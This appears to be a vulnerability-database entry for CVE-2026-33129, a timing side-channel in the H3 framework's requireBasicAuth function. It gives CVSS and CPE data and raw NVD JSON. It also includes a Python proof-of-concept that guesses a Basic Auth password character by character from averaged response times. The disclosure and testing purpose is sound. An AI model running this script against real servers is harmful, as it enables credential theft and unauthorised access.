Security Vulnerability Report
中文
CVE-2026-33129 CVSS 5.9 MEDIUM

CVE-2026-33129

Published: 2026-03-20 10:16:19
Last Modified: 2026-03-20 19:58:03

Description

H3 is a minimal H(TTP) framework. Versions 2.0.1-beta.0 through 2.0.0-rc.8 contain a Timing Side-Channel vulnerability in the requireBasicAuth function due to the use of unsafe string comparison (!==). This allows an attacker to deduce the valid password character-by-character by measuring the server's response time, effectively bypassing password complexity protections. This issue is fixed in version 2.0.1-rc.9.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:h3:h3:2.0.0:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:h3:h3:2.0.1:rc1:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:h3:h3:2.0.1:rc2:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:h3:h3:2.0.1:rc3:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:h3:h3:2.0.1:rc4:*:*:*:node.js:*:* - VULNERABLE
H3 2.0.1-beta.0
H3 2.0.0-rc.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time import string # Target configuration target_url = "http://localhost:3000/protected" username = "admin" charset = string.ascii_letters + string.digits + "_" # Measure response time for a given password def check_password(password): start = time.perf_counter() try: requests.get(target_url, auth=(username, password), timeout=5) except: pass end = time.perf_counter() return end - start # Simple timing attack simulation # Disclaimer: For educational purposes only. Network jitter affects accuracy. passwd_guess = "" print("[+] Starting timing side-channel attack...") # Assuming we know the max length is 10 for this demo for pos in range(0, 10): max_time = 0 best_char = "" for char in charset: # Test current guess + new char test_pass = passwd_guess + char durations = [] # Send multiple requests to average out noise for _ in range(5): dur = check_password(test_pass) durations.append(dur) avg_time = sum(durations) / len(durations) # If this character took longer, it might be correct if avg_time > max_time: max_time = avg_time best_char = char # Check if the best character significantly increased time if max_time > 0.0001: # Threshold depends on network latency passwd_guess += best_char print(f"[+] Position {pos}: Best char is '{best_char}' (Time: {max_time:.6f}s)") else: break print(f"[+] Estimated Password: {passwd_guess}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33129", "sourceIdentifier": "[email protected]", "published": "2026-03-20T10:16:19.317", "lastModified": "2026-03-20T19:58:02.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "H3 is a minimal H(TTP) framework. Versions 2.0.1-beta.0 through 2.0.0-rc.8 contain a Timing Side-Channel vulnerability in the requireBasicAuth function due to the use of unsafe string comparison (!==). This allows an attacker to deduce the valid password character-by-character by measuring the server's response time, effectively bypassing password complexity protections. This issue is fixed in version 2.0.1-rc.9."}, {"lang": "es", "value": "H3 es un framework H(TTP) mínimo. Las versiones 2.0.1-beta.0 hasta la 2.0.0-rc.8 contienen una vulnerabilidad de canal lateral de tiempo en la función requireBasicAuth debido al uso de una comparación de cadenas insegura (!==). Esto permite a un atacante deducir la contraseña válida carácter por carácter midiendo el tiempo de respuesta del servidor, eludiendo eficazmente las protecciones de complejidad de la contraseña. Este problema está solucionado en la versión 2.0.1-rc.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-208"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:h3:h3:2.0.0:*:*:*:*:node.js:*:*", "matchCriteriaId": "A80DE960-665D-4590-B6D5-645099B808E2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc1:*:*:*:node.js:*:*", "matchCriteriaId": "910077BC-C84C-4CAB-A0A5-761047F6F43C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc2:*:*:*:node.js:*:*", "matchCriteriaId": "C5E7779A-00CA-45E7-8F68-1DAB5388ED4A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc3:*:*:*:node.js:*:*", "matchCriteriaId": "064C21F5-8633-45F3-9A3D-3FB029A867B9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc4:*:*:*:node.js:*:*", "matchCriteriaId": "DDBC1DFD-8063-4AE1-92D8-B3B33735FEF0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc5:*:*:*:node.js:*:*", "matchCriteriaId": "496314A3-8F2B-4274-9D0D-7F11E896FEA5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc6:*:*:*:node.js:*:*", "matchCriteriaId": "35F49342-D52C-4762-9369-F380C5E7E0B5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc7:*:*:*:node.js:*:*", "matchCriteriaId": "D11CA1A7-3141-46EA-9687-32C333FC7B0C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc8:*:*:*:node.js:*:*", "matchCriteriaId": "A4A6FD03-5DE5-4D73-9FF3-BB653302C60B"}]}]}], "references": [{"url": "https://github.com/h3js/h3/pull/1283", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/h3js/h3/releases/tag/v2.0.1-rc.9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/h3js/h3/security/advisories/GHSA-26f5-8h2x-34xh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}